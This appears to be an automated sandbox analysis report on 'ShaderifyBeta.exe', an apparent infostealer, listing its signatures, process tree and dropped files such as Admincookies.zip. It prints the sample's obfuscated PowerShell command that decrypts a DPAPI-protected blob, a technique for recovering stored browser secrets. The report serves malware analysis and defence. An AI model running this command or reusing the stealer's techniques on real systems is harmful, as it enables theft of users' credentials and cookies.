Analysis

  • max time kernel
    123s
  • max time network
    123s
  • platform
    windows7_x64
  • resource
    win7-20240221-en
  • resource tags

    arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system
  • submitted
    14/06/2024, 02:04

General

  • Target
    ShaderifyBeta.exe
  • Size 120.4MB
  • Sample240614-chek3s1erc
  • SHA256 d898a8bd9a2bb747478d8abc4f10352ece031f99781a6d0f97b4782619982325
  • MD5 SHA1 SHA512 SSDEEP
Score
7/10

Malware Config

Signatures

  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Looks up external IP address via web service 4 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Enumerates processes with tasklist 1 TTPs 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
    "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe"
    1⤵
    • Checks computer location settings
    • Loads dropped DLL
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1676
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "tasklist"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1628
      • C:\Windows\system32\tasklist.exe
        tasklist
        3⤵
        • Enumerates processes with tasklist
        • Suspicious use of AdjustPrivilegeToken
        PID:2516
    • C:\Windows\system32\cmd.exe
      C:\Windows\system32\cmd.exe /d /s /c "powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,45,204,86,131,46,228,91,64,175,15,151,62,153,122,62,62,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,77,110,209,252,182,198,4,154,87,197,245,53,39,231,107,249,184,40,45,0,24,246,100,84,235,238,233,27,220,83,224,233,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,47,182,225,224,33,237,235,155,138,205,164,0,36,33,60,9,124,133,34,107,237,168,140,220,214,72,196,158,196,244,252,84,48,0,0,0,155,228,31,126,164,117,220,177,152,185,34,62,167,29,118,179,201,227,248,185,27,246,61,182,203,213,78,174,198,74,133,155,168,33,66,62,109,87,3,236,185,37,40,72,168,188,167,79,64,0,0,0,178,135,223,223,37,55,116,207,2,9,203,90,28,70,245,181,242,122,248,118,250,46,135,145,225,62,172,150,235,62,98,193,245,110,180,78,25,70,188,173,61,53,72,251,107,170,103,143,67,201,159,146,248,249,210,95,246,240,89,186,32,192,16,76), $null, 'CurrentUser')"
      2⤵
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2580
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell.exe Add-Type -AssemblyName System.Security; [System.Security.Cryptography.ProtectedData]::Unprotect([byte[]]@(1,0,0,0,208,140,157,223,1,21,209,17,140,122,0,192,79,194,151,235,1,0,0,0,45,204,86,131,46,228,91,64,175,15,151,62,153,122,62,62,0,0,0,0,2,0,0,0,0,0,16,102,0,0,0,1,0,0,32,0,0,0,77,110,209,252,182,198,4,154,87,197,245,53,39,231,107,249,184,40,45,0,24,246,100,84,235,238,233,27,220,83,224,233,0,0,0,0,14,128,0,0,0,2,0,0,32,0,0,0,47,182,225,224,33,237,235,155,138,205,164,0,36,33,60,9,124,133,34,107,237,168,140,220,214,72,196,158,196,244,252,84,48,0,0,0,155,228,31,126,164,117,220,177,152,185,34,62,167,29,118,179,201,227,248,185,27,246,61,182,203,213,78,174,198,74,133,155,168,33,66,62,109,87,3,236,185,37,40,72,168,188,167,79,64,0,0,0,178,135,223,223,37,55,116,207,2,9,203,90,28,70,245,181,242,122,248,118,250,46,135,145,225,62,172,150,235,62,98,193,245,110,180,78,25,70,188,173,61,53,72,251,107,170,103,143,67,201,159,146,248,249,210,95,246,240,89,186,32,192,16,76), $null, 'CurrentUser')
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2556
    • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
      "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1128,11662187840230557692,11374387260859709412,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1132 /prefetch:2
      2⤵
        PID:2456
      • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1128,11662187840230557692,11374387260859709412,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --lang=en-US --service-sandbox-type=network --mojo-platform-channel-handle=812 /prefetch:8
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        PID:2732
      • C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe
        "C:\Users\Admin\AppData\Local\Temp\ShaderifyBeta.exe" --type=gpu-process --field-trial-handle=1128,11662187840230557692,11374387260859709412,131072 --enable-features=WebComponentsV0Enabled --disable-features=CookiesWithoutSameSiteMustBeSecure,SameSiteByDefaultCookies,SpareRendererForSitePerProcess --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --use-gl=swiftshader-webgl --mojo-platform-channel-handle=1480 /prefetch:2
        2⤵
          PID:840

      Network

            MITRE ATT&CK Enterprise v15

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            Downloads

            Admincookies.zip

            • Path C:\Users\Admin\AppData\Local\Temp\Admincookies.zip
            • Size 22B
            • SHA256 8739c76e681f900923b900c9df0ef75cf421d39cabb54650c4b9ad19b6a76d85
            • MD5 SHA1 SHA512

            cd93b765-ba9c-4e11-b417-ce15ab310cbd.tmp.node

            • Path \Users\Admin\AppData\Local\Temp\cd93b765-ba9c-4e11-b417-ce15ab310cbd.tmp.node
            • Size 1.4MB
            • SHA256 6aa8763714aa5199a4065259af792292c2a7d6a2c381aa27007255421e5c9d8c
            • MD5 SHA1 SHA512 SSDEEP

            memory/2456-20-0x0000000000060000-0x0000000000061000-memory.dmp

            memory/2456-57-0x0000000077380000-0x0000000077381000-memory.dmp

            memory/2556-12-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

            memory/2556-13-0x0000000002290000-0x0000000002298000-memory.dmp